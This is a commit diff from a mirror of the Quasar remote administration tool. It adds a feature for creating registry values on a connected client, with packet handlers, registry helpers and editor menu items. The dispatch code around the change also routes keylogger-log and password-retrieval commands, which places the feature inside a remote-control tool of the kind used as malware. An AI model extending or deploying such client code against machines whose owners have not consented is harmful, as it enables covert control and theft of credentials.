mirror of https://github.com/quasar/Quasar.git
Added the functionality for creating a registry value + fixed bug with reopening RegistryEditor form
This commit is contained in:
parent
38019f11c1
commit
1e5186de55
|
@ -4,6 +4,7 @@ using System.Linq;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using xClient.Core.Networking;
|
using xClient.Core.Networking;
|
||||||
using xClient.Core.Registry;
|
using xClient.Core.Registry;
|
||||||
|
using xClient.Core.Extensions;
|
||||||
|
|
||||||
namespace xClient.Core.Commands
|
namespace xClient.Core.Commands
|
||||||
{
|
{
|
||||||
|
@ -23,6 +24,7 @@ namespace xClient.Core.Commands
|
||||||
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
||||||
public static partial class CommandHandler
|
public static partial class CommandHandler
|
||||||
{
|
{
|
||||||
|
|
||||||
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
|
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -54,6 +56,8 @@ namespace xClient.Core.Commands
|
||||||
{ }
|
{ }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#region Registry Key Edit
|
||||||
|
|
||||||
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
|
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
|
||||||
{
|
{
|
||||||
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
|
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
|
||||||
|
@ -116,5 +120,33 @@ namespace xClient.Core.Commands
|
||||||
|
|
||||||
responsePacket.Execute(client);
|
responsePacket.Execute(client);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region RegistryValue Edit
|
||||||
|
|
||||||
|
public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client)
|
||||||
|
{
|
||||||
|
xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse();
|
||||||
|
string errorMsg = "";
|
||||||
|
string newKeyName = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg));
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
responsePacket.IsError = true;
|
||||||
|
errorMsg = ex.Message;
|
||||||
|
}
|
||||||
|
responsePacket.ErrorMsg = errorMsg;
|
||||||
|
|
||||||
|
responsePacket.Value = new RegValueData(newKeyName, packet.Kind.RegistryTypeToString(), null);
|
||||||
|
responsePacket.KeyPath = packet.KeyPath;
|
||||||
|
|
||||||
|
responsePacket.Execute(client);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -81,7 +81,7 @@ namespace xClient.Core.Extensions
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to create a writable sub key from the key provided using the specified
|
/// Attempts to create a sub key from the key provided using the specified
|
||||||
/// name. This method assumes the caller will dispose of the key when done using it.
|
/// name. This method assumes the caller will dispose of the key when done using it.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which the sub key is to be created from.</param>
|
/// <param name="key">The key of which the sub key is to be created from.</param>
|
||||||
|
@ -225,7 +225,31 @@ namespace xClient.Core.Extensions
|
||||||
|
|
||||||
#endregion
|
#endregion
|
||||||
|
|
||||||
#region FindKey
|
#region Region Value
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Attempts to create a registry value for the key provided using the specified
|
||||||
|
/// name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="key">The key of which the value is to be created for.</param>
|
||||||
|
/// <param name="name">The name of the value.</param>
|
||||||
|
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
||||||
|
public static bool CreateValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
key.SetValue(name, data, kind);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region Find
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Checks if the specified subkey exists in the key
|
/// Checks if the specified subkey exists in the key
|
||||||
|
@ -246,6 +270,25 @@ namespace xClient.Core.Extensions
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if the specified registry value exists in the key
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="key">The key of which to search.</param>
|
||||||
|
/// <param name="name">The name of the registry value to find.</param>
|
||||||
|
/// <returns>Returns boolean value if the action succeded or failed
|
||||||
|
/// </returns>
|
||||||
|
public static bool ContainsValue(this RegistryKey key, string name)
|
||||||
|
{
|
||||||
|
foreach (string value in key.GetValueNames())
|
||||||
|
{
|
||||||
|
if (value == name)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
#endregion
|
#endregion
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
|
|
@ -140,6 +140,10 @@ namespace xClient.Core.Packets
|
||||||
{
|
{
|
||||||
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
|
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
|
||||||
}
|
}
|
||||||
|
else if (type == typeof(ServerPackets.DoCreateRegistryValue))
|
||||||
|
{
|
||||||
|
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
|
||||||
|
}
|
||||||
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
||||||
{
|
{
|
||||||
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
||||||
|
|
|
@ -9,11 +9,13 @@ namespace xClient.Core.Registry
|
||||||
{
|
{
|
||||||
public class RegistryEditor
|
public class RegistryEditor
|
||||||
{
|
{
|
||||||
|
|
||||||
|
#region RegistryKey
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to create the desired sub key to the specified parent.
|
/// Attempts to create the desired sub key to the specified parent.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||||
/// /// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
||||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||||
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
||||||
|
@ -162,5 +164,65 @@ namespace xClient.Core.Registry
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region RegistryValue
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Attempts to create the desired value for the specified parent.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||||
|
/// <param name="kind">The type of the registry value to create.</param>
|
||||||
|
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
||||||
|
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||||
|
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||||
|
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
|
||||||
|
{
|
||||||
|
name = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
RegistryKey key = RegistrySeeker.GetWritableRegistryKey(keyPath);
|
||||||
|
|
||||||
|
//Invalid can not open parent
|
||||||
|
if (key == null)
|
||||||
|
{
|
||||||
|
errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Try to find available names
|
||||||
|
int i = 1;
|
||||||
|
string testName = String.Format("New Key #{0}", i);
|
||||||
|
|
||||||
|
while (key.ContainsValue(testName))
|
||||||
|
{
|
||||||
|
i++;
|
||||||
|
testName = String.Format("New Key #{0}", i);
|
||||||
|
}
|
||||||
|
name = testName;
|
||||||
|
|
||||||
|
bool success = key.CreateValueSafe(name, "", kind);
|
||||||
|
|
||||||
|
//Child could not be created
|
||||||
|
if (!success)
|
||||||
|
{
|
||||||
|
errorMsg = "Cannot create value: Error writing to the registry";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Child was successfully created
|
||||||
|
errorMsg = "";
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
errorMsg = ex.Message;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -27,6 +27,8 @@ namespace xServer.Core.Commands
|
||||||
{ }
|
{ }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#region Registry Key Edit
|
||||||
|
|
||||||
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
|
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -86,5 +88,31 @@ namespace xServer.Core.Commands
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region Registry Value Edit
|
||||||
|
|
||||||
|
public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||||
|
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||||
|
{
|
||||||
|
if (!packet.IsError)
|
||||||
|
{
|
||||||
|
client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -82,6 +82,10 @@ namespace xServer.Core.Packets
|
||||||
{
|
{
|
||||||
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
|
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
|
||||||
}
|
}
|
||||||
|
else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse))
|
||||||
|
{
|
||||||
|
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
|
||||||
|
}
|
||||||
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
||||||
{
|
{
|
||||||
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
||||||
|
|
|
@ -38,12 +38,19 @@
|
||||||
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
|
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
|
||||||
this.statusStrip = new System.Windows.Forms.StatusStrip();
|
this.statusStrip = new System.Windows.Forms.StatusStrip();
|
||||||
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
|
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
|
|
||||||
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
|
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
|
||||||
|
this.stringToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
||||||
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
@ -140,6 +147,13 @@
|
||||||
this.hValue.Text = "Value";
|
this.hValue.Text = "Value";
|
||||||
this.hValue.Width = 384;
|
this.hValue.Width = 384;
|
||||||
//
|
//
|
||||||
|
// imageRegistryKeyTypeList
|
||||||
|
//
|
||||||
|
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
|
||||||
|
this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
|
||||||
|
this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
|
||||||
|
this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
|
||||||
|
//
|
||||||
// statusStrip
|
// statusStrip
|
||||||
//
|
//
|
||||||
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
@ -155,13 +169,6 @@
|
||||||
this.selectedStripStatusLabel.Name = "selectedStripStatusLabel";
|
this.selectedStripStatusLabel.Name = "selectedStripStatusLabel";
|
||||||
this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 17);
|
this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 17);
|
||||||
//
|
//
|
||||||
// imageRegistryKeyTypeList
|
|
||||||
//
|
|
||||||
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
|
|
||||||
this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
|
|
||||||
this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
|
|
||||||
this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
|
|
||||||
//
|
|
||||||
// contextMenuStrip
|
// contextMenuStrip
|
||||||
//
|
//
|
||||||
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
@ -175,7 +182,14 @@
|
||||||
// newToolStripMenuItem
|
// newToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
this.keyToolStripMenuItem});
|
this.keyToolStripMenuItem,
|
||||||
|
this.toolStripSeparator2,
|
||||||
|
this.stringToolStripMenuItem,
|
||||||
|
this.binaryValueToolStripMenuItem,
|
||||||
|
this.dWORD32bitValueToolStripMenuItem,
|
||||||
|
this.qWORD64bitValueToolStripMenuItem,
|
||||||
|
this.multiStringValueToolStripMenuItem,
|
||||||
|
this.expandableStringValueToolStripMenuItem});
|
||||||
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
|
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
|
||||||
this.newToolStripMenuItem.Size = new System.Drawing.Size(117, 22);
|
this.newToolStripMenuItem.Size = new System.Drawing.Size(117, 22);
|
||||||
this.newToolStripMenuItem.Text = "New";
|
this.newToolStripMenuItem.Text = "New";
|
||||||
|
@ -183,10 +197,52 @@
|
||||||
// keyToolStripMenuItem
|
// keyToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
|
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
|
||||||
this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
|
this.keyToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
this.keyToolStripMenuItem.Text = "Key";
|
this.keyToolStripMenuItem.Text = "Key";
|
||||||
this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click);
|
this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click);
|
||||||
//
|
//
|
||||||
|
// toolStripSeparator2
|
||||||
|
//
|
||||||
|
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||||
|
this.toolStripSeparator2.Size = new System.Drawing.Size(196, 6);
|
||||||
|
//
|
||||||
|
// stringToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.stringToolStripMenuItem.Name = "stringToolStripMenuItem";
|
||||||
|
this.stringToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.stringToolStripMenuItem.Text = "String Value";
|
||||||
|
this.stringToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click);
|
||||||
|
//
|
||||||
|
// binaryValueToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem";
|
||||||
|
this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.binaryValueToolStripMenuItem.Text = "Binary Value";
|
||||||
|
//
|
||||||
|
// dWORD32bitValueToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem";
|
||||||
|
this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value";
|
||||||
|
//
|
||||||
|
// qWORD64bitValueToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem";
|
||||||
|
this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value";
|
||||||
|
//
|
||||||
|
// multiStringValueToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem";
|
||||||
|
this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.multiStringValueToolStripMenuItem.Text = "Multi-String Value";
|
||||||
|
//
|
||||||
|
// expandableStringValueToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem";
|
||||||
|
this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
|
||||||
|
this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value";
|
||||||
|
//
|
||||||
// toolStripSeparator1
|
// toolStripSeparator1
|
||||||
//
|
//
|
||||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||||
|
@ -219,6 +275,7 @@
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.Name = "FrmRegistryEditor";
|
this.Name = "FrmRegistryEditor";
|
||||||
this.Text = "Registry Editor";
|
this.Text = "Registry Editor";
|
||||||
|
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing);
|
||||||
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
|
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
|
||||||
this.tableLayoutPanel.ResumeLayout(false);
|
this.tableLayoutPanel.ResumeLayout(false);
|
||||||
this.tableLayoutPanel.PerformLayout();
|
this.tableLayoutPanel.PerformLayout();
|
||||||
|
@ -252,5 +309,12 @@
|
||||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
|
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
|
||||||
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem stringToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem;
|
||||||
}
|
}
|
||||||
}
|
}
|
|
@ -1,4 +1,5 @@
|
||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
using System.Data;
|
using System.Data;
|
||||||
|
@ -273,6 +274,44 @@ namespace xServer.Forms
|
||||||
|
|
||||||
#region ListView Helpfunctions
|
#region ListView Helpfunctions
|
||||||
|
|
||||||
|
public void AddValueToList(string keyPath, RegValueData value)
|
||||||
|
{
|
||||||
|
TreeNode key = GetParentTreeNode(keyPath);
|
||||||
|
|
||||||
|
if (key != null )
|
||||||
|
{
|
||||||
|
lstRegistryKeys.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
List<RegValueData> ValuesFromNode = null;
|
||||||
|
if (key.Tag != null) {
|
||||||
|
if (key.Tag.GetType() == typeof(List<RegValueData>))
|
||||||
|
{
|
||||||
|
ValuesFromNode = (List<RegValueData>)key.Tag;
|
||||||
|
ValuesFromNode.Add(value);
|
||||||
|
}
|
||||||
|
else { return; }
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ValuesFromNode = new List<RegValueData>();
|
||||||
|
ValuesFromNode.Add(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tvRegistryDirectory.SelectedNode == key)
|
||||||
|
{
|
||||||
|
RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.Type, value.Data);
|
||||||
|
item.ImageIndex = GetRegistryValueImgIndex(value.Type);
|
||||||
|
lstRegistryKeys.Items.Add(item);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
tvRegistryDirectory.SelectedNode = key.FirstNode;
|
||||||
|
PopulateLstRegistryKeys(ValuesFromNode);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public void PopulateLstRegistryKeys(List<RegValueData> values)
|
public void PopulateLstRegistryKeys(List<RegValueData> values)
|
||||||
{
|
{
|
||||||
lstRegistryKeys.Items.Clear();
|
lstRegistryKeys.Items.Clear();
|
||||||
|
@ -438,6 +477,19 @@ namespace xServer.Forms
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#region New Registry Value
|
||||||
|
|
||||||
|
private void createStringRegistryValue_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (tvRegistryDirectory.SelectedNode != null)
|
||||||
|
{
|
||||||
|
//Request the creation of a new Registry value of type REG_SZ
|
||||||
|
new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.String).Execute(_connectClient);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
#endregion
|
#endregion
|
||||||
|
|
||||||
#region Handlers
|
#region Handlers
|
||||||
|
|
|
@ -125,7 +125,7 @@
|
||||||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
|
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
|
||||||
BwAAAk1TRnQBSQFMAwEBAAHoAQAB6AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
|
BwAAAk1TRnQBSQFMAwEBAAH4AQAB+AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
|
||||||
AUADAAEQAwABAQEAAQgGAAEEGAABgAIA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7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+
|
||||||
BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABHAE4ARwBOF0AAQEBAAEBBQABAwEA
|
AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUA
|
||||||
AQMFAAEHAQABBwQACw==
|
AQcBAAEHBAAL
|
||||||
</value>
|
</value>
|
||||||
</data>
|
</data>
|
||||||
<metadata name="statusStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
<metadata name="statusStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
|
Loading…
Reference in New Issue